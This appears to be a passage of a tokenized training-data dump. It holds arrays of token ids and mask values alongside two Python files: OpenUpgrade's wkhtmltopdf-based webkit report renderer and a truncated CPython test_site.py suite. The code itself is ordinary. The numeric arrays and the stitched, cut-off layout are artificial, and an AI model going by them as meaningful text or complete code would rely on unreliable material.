32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
legalsylvain/OpenUpgrade
addons/report_webkit/webkit_report.py
19
17015
# -*- coding: utf-8 -*- ############################################################################## # # Copyright (c) 2010 Camptocamp SA (http://www.camptocamp.com) # All Right Reserved # # Author : Nicolas Bessi (Camptocamp) # Contributor(s) : Florent Xicluna (Wingo SA) # # WARNING: This program as such is intended to be used by professional # programmers who take the whole responsability of assessing all potential # consequences resulting from its eventual inadequacies and bugs # End users who are looking for a ready-to-use solution with commercial # garantees and support are strongly adviced to contract a Free Software # Service Company # # This program is Free Software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # ############################################################################## import subprocess import os import sys from openerp import report import tempfile import time import logging from report_helper import WebKitHelper import openerp from openerp.modules.module import get_module_resource from openerp.report.report_sxw import * from openerp import tools from openerp.tools.translate import _ from openerp.osv.osv import except_osv from urllib import urlencode, quote as quote _logger = logging.getLogger(__name__) try: # We use a jinja2 sandboxed environment to render mako templates. # Note that the rendering does not cover all the mako syntax, in particular # arbitrary Python statements are not accepted, and not all expressions are # allowed: only "public" attributes (not starting with '_') of objects may # be accessed. # This is done on purpose: it prevents incidental or malicious execution of # Python code that may break the security of the server. from jinja2.sandbox import SandboxedEnvironment mako_template_env = SandboxedEnvironment( block_start_string="<%", block_end_string="%>", variable_start_string="${", variable_end_string="}", comment_start_string="<%doc>", comment_end_string="</%doc>", line_statement_prefix="%", line_comment_prefix="##", trim_blocks=True, # do not output newline after blocks autoescape=True, # XML/HTML automatic escaping ) mako_template_env.globals.update({ 'str': str, 'quote': quote, 'urlencode': urlencode, }) except ImportError: _logger.warning("jinja2 not available, templating features will not work!") def mako_template(text): """Build a Mako template. This template uses UTF-8 encoding """ return mako_template_env.from_string(text) _extender_functions = {} def webkit_report_extender(report_name): """ A decorator to define functions to extend the context used in a template rendering. report_name must be the xml id of the desired report (it is mandatory to indicate the module in that xml id). The given function will be called at the creation of the report. The following arguments will be passed to it (in this order): - pool The model pool. - cr The cursor. - uid The user id. - localcontext The context given to the template engine to render the templates for the current report. This is the context that should be modified. - context The OpenERP context. """ def fct1(fct): lst = _extender_functions.get(report_name) if not lst: lst = [] _extender_functions[report_name] = lst lst.append(fct) return fct return fct1 class WebKitParser(report_sxw): """Custom class that use webkit to render HTML reports Code partially taken from report openoffice. Thanks guys :) """ def __init__(self, name, table, rml=False, parser=rml_parse, header=True, store=False, register=True): self.parser_instance = False self.localcontext = {} report_sxw.__init__(self, name, table, rml, parser, header, store, register=register) def get_lib(self, cursor, uid): """Return the lib wkhtml path""" proxy = self.pool['ir.config_parameter'] webkit_path = proxy.get_param(cursor, uid, 'webkit_path') if not webkit_path: try: defpath = os.environ.get('PATH', os.defpath).split(os.pathsep) if hasattr(sys, 'frozen'): defpath.append(os.getcwd()) if tools.config['root_path']: defpath.append(os.path.dirname(tools.config['root_path'])) webkit_path = tools.which('wkhtmltopdf', path=os.pathsep.join(defpath)) except IOError: webkit_path = None if webkit_path: return webkit_path raise except_osv( _('Wkhtmltopdf library path is not set'), _('Please install executable on your system' \ ' (sudo apt-get install wkhtmltopdf) or download it from here:' \ ' http://code.google.com/p/wkhtmltopdf/downloads/list and set the' \ ' path in the ir.config_parameter with the webkit_path key.' \ 'Minimal version is 0.9.9') ) def generate_pdf(self, comm_path, report_xml, header, footer, html_list, webkit_header=False): """Call webkit in order to generate pdf""" if not webkit_header: webkit_header = report_xml.webkit_header fd, out_filename = tempfile.mkstemp(suffix=".pdf", prefix="webkit.tmp.") file_to_del = [out_filename] if comm_path: command = [comm_path] else: command = ['wkhtmltopdf'] command.append('--quiet') # default to UTF-8 encoding. Use <meta charset="latin-1"> to override. command.extend(['--encoding', 'utf-8']) if header : with tempfile.NamedTemporaryFile(suffix=".head.html", delete=False) as head_file: head_file.write(self._sanitize_html(header.encode('utf-8'))) file_to_del.append(head_file.name) command.extend(['--header-html', head_file.name]) if footer : with tempfile.NamedTemporaryFile(suffix=".foot.html", delete=False) as foot_file: foot_file.write(self._sanitize_html(footer.encode('utf-8'))) file_to_del.append(foot_file.name) command.extend(['--footer-html', foot_file.name]) if webkit_header.margin_top : command.extend(['--margin-top', str(webkit_header.margin_top).replace(',', '.')]) if webkit_header.margin_bottom : command.extend(['--margin-bottom', str(webkit_header.margin_bottom).replace(',', '.')]) if webkit_header.margin_left : command.extend(['--margin-left', str(webkit_header.margin_left).replace(',', '.')]) if webkit_header.margin_right : command.extend(['--margin-right', str(webkit_header.margin_right).replace(',', '.')]) if webkit_header.orientation : command.extend(['--orientation', str(webkit_header.orientation).replace(',', '.')]) if webkit_header.format : command.extend(['--page-size', str(webkit_header.format).replace(',', '.')]) count = 0 for html in html_list : with tempfile.NamedTemporaryFile(suffix="%d.body.html" %count, delete=False) as html_file: count += 1 html_file.write(self._sanitize_html(html.encode('utf-8'))) file_to_del.append(html_file.name) command.append(html_file.name) command.append(out_filename) stderr_fd, stderr_path = tempfile.mkstemp(text=True) file_to_del.append(stderr_path) try: status = subprocess.call(command, stderr=stderr_fd) os.close(stderr_fd) # ensure flush before reading stderr_fd = None # avoid closing again in finally block fobj = open(stderr_path, 'r') error_message = fobj.read() fobj.close() if not error_message: error_message = _('No diagnosis message was provided') else: error_message = _('The following diagnosis message was provided:\n') + error_message if status : raise except_osv(_('Webkit error' ), _("The command 'wkhtmltopdf' failed with error code = %s. Message: %s") % (status, error_message)) with open(out_filename, 'rb') as pdf_file: pdf = pdf_file.read() os.close(fd) finally: if stderr_fd is not None: os.close(stderr_fd) for f_to_del in file_to_del: try: os.unlink(f_to_del) except (OSError, IOError), exc: _logger.error('cannot remove file %s: %s', f_to_del, exc) return pdf def translate_call(self, src): """Translate String.""" ir_translation = self.pool['ir.translation'] name = self.tmpl and 'addons/' + self.tmpl or None res = ir_translation._get_source(self.parser_instance.cr, self.parser_instance.uid, name, 'report', self.parser_instance.localcontext.get('lang', 'en_US'), src) if res == src: # no translation defined, fallback on None (backward compatibility) res = ir_translation._get_source(self.parser_instance.cr, self.parser_instance.uid, None, 'report', self.parser_instance.localcontext.get('lang', 'en_US'), src) if not res : return src return res # override needed to keep the attachments storing procedure def create_single_pdf(self, cursor, uid, ids, data, report_xml, context=None): """generate the PDF""" # just try to find an xml id for the report cr = cursor pool = openerp.registry(cr.dbname) found_xml_ids = pool["ir.model.data"].search(cr, uid, [["model", "=", "ir.actions.report.xml"], \ ["res_id", "=", report_xml.id]], context=context) xml_id = None if found_xml_ids: xml_id = pool["ir.model.data"].read(cr, uid, found_xml_ids[0], ["module", "name"]) xml_id = "%s.%s" % (xml_id["module"], xml_id["name"]) if context is None: context={} htmls = [] if report_xml.report_type != 'webkit': return super(WebKitParser,self).create_single_pdf(cursor, uid, ids, data, report_xml, context=context) self.parser_instance = self.parser(cursor, uid, self.name2, context=context) self.pool = pool objs = self.getObjects(cursor, uid, ids, context) self.parser_instance.set_context(objs, data, ids, report_xml.report_type) template = False if report_xml.report_file : path = get_module_resource(*report_xml.report_file.split('/')) if path and os.path.exists(path) : template = file(path).read() if not template and report_xml.report_webkit_data : template = report_xml.report_webkit_data if not template : raise except_osv(_('Error!'), _('Webkit report template not found!')) header = report_xml.webkit_header.html footer = report_xml.webkit_header.footer_html if not header and report_xml.header: raise except_osv( _('No header defined for this Webkit report!'), _('Please set a header in company settings.') ) if not report_xml.header : header = '' default_head = get_module_resource('report_webkit', 'default_header.html') with open(default_head,'r') as f: header = f.read() css = report_xml.webkit_header.css if not css : css = '' body_mako_tpl = mako_template(template) helper = WebKitHelper(cursor, uid, report_xml.id, context) self.parser_instance.localcontext['helper'] = helper self.parser_instance.localcontext['css'] = css self.parser_instance.localcontext['_'] = self.translate_call # apply extender functions additional = {} if xml_id in _extender_functions: for fct in _extender_functions[xml_id]: fct(pool, cr, uid, self.parser_instance.localcontext, context) if report_xml.precise_mode: ctx = dict(self.parser_instance.localcontext) for obj in self.parser_instance.localcontext['objects']: ctx['objects'] = [obj] try : html = body_mako_tpl.render(dict(ctx)) htmls.append(html) except Exception, e: msg = u"%s" % e _logger.error(msg) raise except_osv(_('Webkit render!'), msg) else: try : html = body_mako_tpl.render(dict(self.parser_instance.localcontext)) htmls.append(html) except Exception, e: msg = u"%s" % e _logger.error(msg) raise except_osv(_('Webkit render!'), msg) head_mako_tpl = mako_template(header) try : head = head_mako_tpl.render(dict(self.parser_instance.localcontext, _debug=False)) except Exception, e: raise except_osv(_('Webkit render!'), u"%s" % e) foot = False if footer : foot_mako_tpl = mako_template(footer) try : foot = foot_mako_tpl.render(dict({}, **self.parser_instance.localcontext)) except Exception, e: msg = u"%s" % e _logger.error(msg) raise except_osv(_('Webkit render!'), msg) if report_xml.webkit_debug : try : deb = head_mako_tpl.render(dict(self.parser_instance.localcontext, _debug=tools.ustr("\n".join(htmls)))) except Exception, e: msg = u"%s" % e _logger.error(msg) raise except_osv(_('Webkit render!'), msg) return (deb, 'html') bin = self.get_lib(cursor, uid) pdf = self.generate_pdf(bin, report_xml, head, foot, htmls) return (pdf, 'pdf') def create(self, cursor, uid, ids, data, context=None): """We override the create function in order to handle generator Code taken from report openoffice. Thanks guys :) """ pool = openerp.registry(cursor.dbname) ir_obj = pool['ir.actions.report.xml'] report_xml_ids = ir_obj.search(cursor, uid, [('report_name', '=', self.name[7:])], context=context) if report_xml_ids: report_xml = ir_obj.browse(cursor, uid, report_xml_ids[0], context=context) report_xml.report_rml = None report_xml.report_rml_content = None report_xml.report_sxw_content_data = None report_xml.report_sxw_content = None report_xml.report_sxw = None else: return super(WebKitParser, self).create(cursor, uid, ids, data, context) if report_xml.report_type != 'webkit': return super(WebKitParser, self).create(cursor, uid, ids, data, context) result = self.create_source_pdf(cursor, uid, ids, data, report_xml, context) if not result: return (False,False) return result def _sanitize_html(self, html): """wkhtmltopdf expects the html page to declare a doctype. """ if html and html[:9].upper() != "<!DOCTYPE": html = "<!DOCTYPE html>\n" + html return html # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 1898, 334, 67, 9, 7129, 24569, 475, 20290, 13950, 334, 1014, 921, 1544, 14, 20290, 475, 20290, 14, 957, 9, 199, 3, 2900, 20854, 5702, 199, 3, 199, 3, 6529, 520, 30650, 761, 305, 699, 28601, 334, 3630, 311, 475, 20290, 9, 199, 3, 17636, 8, 83, 9, 520, 481, 320, 640, 1323, 73, 429, 31627, 334, 55, 316, 79, 13950, 9, 199, 3, 199, 3, 14750, 26, 961, 2240, 465, 4066, 365, 11619, 370, 506, 1202, 701, 22398, 28661, 199, 3, 2240, 16465, 3963, 5452, 314, 8852, 9163, 83, 3616, 402, 465, 5480, 316, 1006, 12330, 199, 3, 406, 13436, 9183, 687, 2399, 1566, 1061, 315, 9587, 27164, 2578, 436, 18227, 199, 3, 9599, 4390, 3963, 787, 10023, 367, 282, 10144, 13, 475, 13, 1180, 8744, 543, 2414, 23012, 199, 3, 486, 10475, 397, 436, 2291, 787, 30390, 1503, 722, 68, 370, 16077, 282, 2868, 2290, 199, 3, 7591, 15878, 199, 3, 199, 3, 961, 2240, 365, 2868, 2290, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 199, 3, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 199, 3, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 14259, 12, 12066, 11844, 12, 8226, 12, 4828, 221, 11315, 13, 10067, 221, 8217, 199, 3, 199, 4605, 199, 199, 646, 3873, 199, 646, 747, 199, 646, 984, 199, 504, 5166, 492, 3622, 199, 646, 5549, 199, 646, 900, 199, 646, 2050, 199, 199, 504, 3622, 63, 3676, 492, 6001, 14591, 4433, 199, 646, 5166, 199, 504, 5166, 14, 3112, 14, 578, 492, 664, 63, 578, 63, 1927, 199, 504, 5166, 14, 3070, 14, 3070, 63, 20851, 492, 627, 199, 504, 5166, 492, 7249, 199, 504, 5166, 14, 2537, 14, 5275, 492, 485, 199, 504, 5166, 14, 4795, 14, 4795, 492, 871, 63, 4795, 199, 504, 4011, 492, 16511, 12, 6313, 465, 6313, 199, 199, 63, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 893, 26, 272, 327, 2136, 675, 282, 10321, 18, 19699, 379, 3734, 370, 3795, 26834, 7009, 14, 272, 327, 3390, 626, 314, 14066, 1630, 440, 8486, 1006, 314, 26834, 6302, 12, 315, 6770, 272, 327, 9697, 2018, 9834, 787, 440, 10226, 12, 436, 440, 1006, 8455, 787, 272, 327, 4370, 26, 1454, 298, 3455, 2, 3004, 334, 1397, 6617, 543, 18962, 402, 2251, 1443, 272, 327, 506, 13810, 14, 272, 327, 961, 365, 4224, 641, 12016, 26, 652, 21925, 315, 12689, 279, 503, 333, 17999, 17326, 6451, 402, 272, 327, 2018, 1233, 626, 1443, 2059, 314, 6391, 402, 314, 1654, 14, 272, 687, 10321, 18, 14, 16647, 492, 428, 10075, 379, 8263, 272, 26834, 63, 1160, 63, 1813, 275, 428, 10075, 379, 8263, 8, 267, 1853, 63, 928, 63, 875, 628, 21110, 401, 267, 1853, 63, 500, 63, 875, 5961, 7166, 267, 1750, 63, 928, 63, 875, 628, 10545, 401, 267, 1750, 63, 500, 63, 875, 628, 10750, 267, 3721, 63, 928, 63, 875, 628, 21110, 1301, 7166, 267, 3721, 63, 500, 63, 875, 628, 26191, 1301, 7166, 267, 1004, 63, 6242, 63, 1861, 5961, 401, 267, 1004, 63, 3349, 63, 1861, 628, 309, 401, 267, 11639, 63, 4166, 29, 549, 12, 5185, 327, 886, 440, 1072, 8057, 2410, 5664, 267, 19102, 29, 549, 12, 4483, 327, 4692, 15, 4943, 4834, 21375, 272, 776, 272, 26834, 63, 1160, 63, 1813, 14, 8473, 14, 873, 2561, 267, 283, 495, 356, 620, 12, 267, 283, 3513, 356, 6313, 12, 267, 283, 10738, 356, 16511, 12, 272, 3828, 199, 2590, 3545, 26, 272, 485, 2921, 14, 3764, 480, 12264, 18, 440, 2808, 12, 2388, 24615, 4534, 911, 440, 1736, 9124, 199, 199, 318, 26834, 63, 1160, 8, 505, 304, 272, 408, 3425, 282, 603, 23564, 1978, 14, 339, 961, 1978, 4440, 9094, 13, 24, 2644, 272, 408, 339, 372, 26834, 63, 1160, 63, 1813, 14, 504, 63, 875, 8, 505, 9, 199, 199, 63, 1614, 424, 63, 5777, 275, 1052, 199, 199, 318, 15804, 63, 3070, 63, 1614, 424, 8, 3070, 63, 354, 304, 272, 408, 272, 437, 7531, 370, 5627, 3423, 370, 12247, 314, 1067, 1202, 315, 282, 1978, 14066, 14, 272, 3622, 63, 354, 1471, 506, 314, 2748, 1305, 402, 314, 6387, 3622, 334, 390, 365, 15230, 370, 6623, 314, 272, 859, 315, 626, 2748, 1305, 680, 339, 710, 1627, 805, 911, 506, 2797, 737, 314, 7143, 402, 314, 3622, 14, 710, 2569, 2368, 272, 911, 506, 3032, 370, 652, 334, 262, 642, 1865, 304, 272, 446, 4203, 710, 1402, 4203, 14, 272, 446, 2467, 710, 3920, 14, 272, 446, 1747, 710, 922, 1305, 14, 272, 446, 2257, 1100, 710, 1067, 1627, 370, 314, 1978, 6869, 370, 3795, 314, 7009, 367, 314, 267, 1453, 3622, 14, 961, 365, 314, 1067, 626, 1077, 506, 6042, 14, 272, 446, 1067, 710, 7653, 1067, 14, 272, 408, 272, 347, 289, 319, 17, 8, 70, 319, 304, 267, 9877, 275, 485, 1614, 424, 63, 5777, 14, 362, 8, 3070, 63, 354, 9, 267, 340, 440, 9877, 26, 288, 9877, 275, 942, 288, 485, 1614, 424, 63, 5777, 59, 3070, 63, 354, 61, 275, 9877, 267, 9877, 14, 740, 8, 70, 319, 9, 267, 372, 289, 319, 272, 372, 289, 319, 17, 421, 199, 533, 6001, 14591, 2842, 8, 3070, 63, 20851, 304, 272, 408, 7223, 1021, 626, 675, 15804, 370, 3795, 4163, 13924, 2126, 5495, 25172, 9394, 687, 3622, 1551, 18812, 14, 3868, 25088, 8129, 588, 32428, 272, 408, 272, 347, 636, 826, 721, 277, 12, 536 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 1898, 334, 67, 9, 7129, 24569, 475, 20290, 13950, 334, 1014, 921, 1544, 14, 20290, 475, 20290, 14, 957, 9, 199, 3, 2900, 20854, 5702, 199, 3, 199, 3, 6529, 520, 30650, 761, 305, 699, 28601, 334, 3630, 311, 475, 20290, 9, 199, 3, 17636, 8, 83, 9, 520, 481, 320, 640, 1323, 73, 429, 31627, 334, 55, 316, 79, 13950, 9, 199, 3, 199, 3, 14750, 26, 961, 2240, 465, 4066, 365, 11619, 370, 506, 1202, 701, 22398, 28661, 199, 3, 2240, 16465, 3963, 5452, 314, 8852, 9163, 83, 3616, 402, 465, 5480, 316, 1006, 12330, 199, 3, 406, 13436, 9183, 687, 2399, 1566, 1061, 315, 9587, 27164, 2578, 436, 18227, 199, 3, 9599, 4390, 3963, 787, 10023, 367, 282, 10144, 13, 475, 13, 1180, 8744, 543, 2414, 23012, 199, 3, 486, 10475, 397, 436, 2291, 787, 30390, 1503, 722, 68, 370, 16077, 282, 2868, 2290, 199, 3, 7591, 15878, 199, 3, 199, 3, 961, 2240, 365, 2868, 2290, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 199, 3, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 199, 3, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 14259, 12, 12066, 11844, 12, 8226, 12, 4828, 221, 11315, 13, 10067, 221, 8217, 199, 3, 199, 4605, 199, 199, 646, 3873, 199, 646, 747, 199, 646, 984, 199, 504, 5166, 492, 3622, 199, 646, 5549, 199, 646, 900, 199, 646, 2050, 199, 199, 504, 3622, 63, 3676, 492, 6001, 14591, 4433, 199, 646, 5166, 199, 504, 5166, 14, 3112, 14, 578, 492, 664, 63, 578, 63, 1927, 199, 504, 5166, 14, 3070, 14, 3070, 63, 20851, 492, 627, 199, 504, 5166, 492, 7249, 199, 504, 5166, 14, 2537, 14, 5275, 492, 485, 199, 504, 5166, 14, 4795, 14, 4795, 492, 871, 63, 4795, 199, 504, 4011, 492, 16511, 12, 6313, 465, 6313, 199, 199, 63, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 893, 26, 272, 327, 2136, 675, 282, 10321, 18, 19699, 379, 3734, 370, 3795, 26834, 7009, 14, 272, 327, 3390, 626, 314, 14066, 1630, 440, 8486, 1006, 314, 26834, 6302, 12, 315, 6770, 272, 327, 9697, 2018, 9834, 787, 440, 10226, 12, 436, 440, 1006, 8455, 787, 272, 327, 4370, 26, 1454, 298, 3455, 2, 3004, 334, 1397, 6617, 543, 18962, 402, 2251, 1443, 272, 327, 506, 13810, 14, 272, 327, 961, 365, 4224, 641, 12016, 26, 652, 21925, 315, 12689, 279, 503, 333, 17999, 17326, 6451, 402, 272, 327, 2018, 1233, 626, 1443, 2059, 314, 6391, 402, 314, 1654, 14, 272, 687, 10321, 18, 14, 16647, 492, 428, 10075, 379, 8263, 272, 26834, 63, 1160, 63, 1813, 275, 428, 10075, 379, 8263, 8, 267, 1853, 63, 928, 63, 875, 628, 21110, 401, 267, 1853, 63, 500, 63, 875, 5961, 7166, 267, 1750, 63, 928, 63, 875, 628, 10545, 401, 267, 1750, 63, 500, 63, 875, 628, 10750, 267, 3721, 63, 928, 63, 875, 628, 21110, 1301, 7166, 267, 3721, 63, 500, 63, 875, 628, 26191, 1301, 7166, 267, 1004, 63, 6242, 63, 1861, 5961, 401, 267, 1004, 63, 3349, 63, 1861, 628, 309, 401, 267, 11639, 63, 4166, 29, 549, 12, 5185, 327, 886, 440, 1072, 8057, 2410, 5664, 267, 19102, 29, 549, 12, 4483, 327, 4692, 15, 4943, 4834, 21375, 272, 776, 272, 26834, 63, 1160, 63, 1813, 14, 8473, 14, 873, 2561, 267, 283, 495, 356, 620, 12, 267, 283, 3513, 356, 6313, 12, 267, 283, 10738, 356, 16511, 12, 272, 3828, 199, 2590, 3545, 26, 272, 485, 2921, 14, 3764, 480, 12264, 18, 440, 2808, 12, 2388, 24615, 4534, 911, 440, 1736, 9124, 199, 199, 318, 26834, 63, 1160, 8, 505, 304, 272, 408, 3425, 282, 603, 23564, 1978, 14, 339, 961, 1978, 4440, 9094, 13, 24, 2644, 272, 408, 339, 372, 26834, 63, 1160, 63, 1813, 14, 504, 63, 875, 8, 505, 9, 199, 199, 63, 1614, 424, 63, 5777, 275, 1052, 199, 199, 318, 15804, 63, 3070, 63, 1614, 424, 8, 3070, 63, 354, 304, 272, 408, 272, 437, 7531, 370, 5627, 3423, 370, 12247, 314, 1067, 1202, 315, 282, 1978, 14066, 14, 272, 3622, 63, 354, 1471, 506, 314, 2748, 1305, 402, 314, 6387, 3622, 334, 390, 365, 15230, 370, 6623, 314, 272, 859, 315, 626, 2748, 1305, 680, 339, 710, 1627, 805, 911, 506, 2797, 737, 314, 7143, 402, 314, 3622, 14, 710, 2569, 2368, 272, 911, 506, 3032, 370, 652, 334, 262, 642, 1865, 304, 272, 446, 4203, 710, 1402, 4203, 14, 272, 446, 2467, 710, 3920, 14, 272, 446, 1747, 710, 922, 1305, 14, 272, 446, 2257, 1100, 710, 1067, 1627, 370, 314, 1978, 6869, 370, 3795, 314, 7009, 367, 314, 267, 1453, 3622, 14, 961, 365, 314, 1067, 626, 1077, 506, 6042, 14, 272, 446, 1067, 710, 7653, 1067, 14, 272, 408, 272, 347, 289, 319, 17, 8, 70, 319, 304, 267, 9877, 275, 485, 1614, 424, 63, 5777, 14, 362, 8, 3070, 63, 354, 9, 267, 340, 440, 9877, 26, 288, 9877, 275, 942, 288, 485, 1614, 424, 63, 5777, 59, 3070, 63, 354, 61, 275, 9877, 267, 9877, 14, 740, 8, 70, 319, 9, 267, 372, 289, 319, 272, 372, 289, 319, 17, 421, 199, 533, 6001, 14591, 2842, 8, 3070, 63, 20851, 304, 272, 408, 7223, 1021, 626, 675, 15804, 370, 3795, 4163, 13924, 2126, 5495, 25172, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
andreparrish/python-for-android
python3-alpha/python3-src/Lib/test/test_site.py
49
16063
"""Tests for 'site'. Tests assume the initial paths in sys.path once the interpreter has begun executing have not been removed. """ import unittest from test.support import run_unittest, TESTFN, EnvironmentVarGuard from test.support import captured_stderr import builtins import os import sys import re import encodings import subprocess import sysconfig from copy import copy # Need to make sure to not import 'site' if someone specified ``-S`` at the # command-line. Detect this by just making sure 'site' has not been imported # already. if "site" in sys.modules: import site else: raise unittest.SkipTest("importation of site.py suppressed") if not os.path.isdir(site.USER_SITE): # need to add user site directory for tests os.makedirs(site.USER_SITE) site.addsitedir(site.USER_SITE) class HelperFunctionsTests(unittest.TestCase): """Tests for helper functions. """ def setUp(self): """Save a copy of sys.path""" self.sys_path = sys.path[:] self.old_base = site.USER_BASE self.old_site = site.USER_SITE self.old_prefixes = site.PREFIXES self.old_vars = copy(sysconfig._CONFIG_VARS) def tearDown(self): """Restore sys.path""" sys.path[:] = self.sys_path site.USER_BASE = self.old_base site.USER_SITE = self.old_site site.PREFIXES = self.old_prefixes sysconfig._CONFIG_VARS = self.old_vars def test_makepath(self): # Test makepath() have an absolute path for its first return value # and a case-normalized version of the absolute path for its # second value. path_parts = ("Beginning", "End") original_dir = os.path.join(*path_parts) abs_dir, norm_dir = site.makepath(*path_parts) self.assertEqual(os.path.abspath(original_dir), abs_dir) if original_dir == os.path.normcase(original_dir): self.assertEqual(abs_dir, norm_dir) else: self.assertEqual(os.path.normcase(abs_dir), norm_dir) def test_init_pathinfo(self): dir_set = site._init_pathinfo() for entry in [site.makepath(path)[1] for path in sys.path if path and os.path.isdir(path)]: self.assertIn(entry, dir_set, "%s from sys.path not found in set returned " "by _init_pathinfo(): %s" % (entry, dir_set)) def pth_file_tests(self, pth_file): """Contain common code for testing results of reading a .pth file""" self.assertIn(pth_file.imported, sys.modules, "%s not in sys.modules" % pth_file.imported) self.assertIn(site.makepath(pth_file.good_dir_path)[0], sys.path) self.assertFalse(os.path.exists(pth_file.bad_dir_path)) def test_addpackage(self): # Make sure addpackage() imports if the line starts with 'import', # adds directories to sys.path for any line in the file that is not a # comment or import that is a valid directory name for where the .pth # file resides; invalid directories are not added pth_file = PthFile() pth_file.cleanup(prep=True) # to make sure that nothing is # pre-existing that shouldn't be try: pth_file.create() site.addpackage(pth_file.base_dir, pth_file.filename, set()) self.pth_file_tests(pth_file) finally: pth_file.cleanup() def make_pth(self, contents, pth_dir='.', pth_name=TESTFN): # Create a .pth file and return its (abspath, basename). pth_dir = os.path.abspath(pth_dir) pth_basename = pth_name + '.pth' pth_fn = os.path.join(pth_dir, pth_basename) pth_file = open(pth_fn, 'w', encoding='utf-8') self.addCleanup(lambda: os.remove(pth_fn)) pth_file.write(contents) pth_file.close() return pth_dir, pth_basename def test_addpackage_import_bad_syntax(self): # Issue 10642 pth_dir, pth_fn = self.make_pth("import bad)syntax\n") with captured_stderr() as err_out: site.addpackage(pth_dir, pth_fn, set()) self.assertRegex(err_out.getvalue(), "line 1") self.assertRegex(err_out.getvalue(), re.escape(os.path.join(pth_dir, pth_fn))) # XXX: the previous two should be independent checks so that the # order doesn't 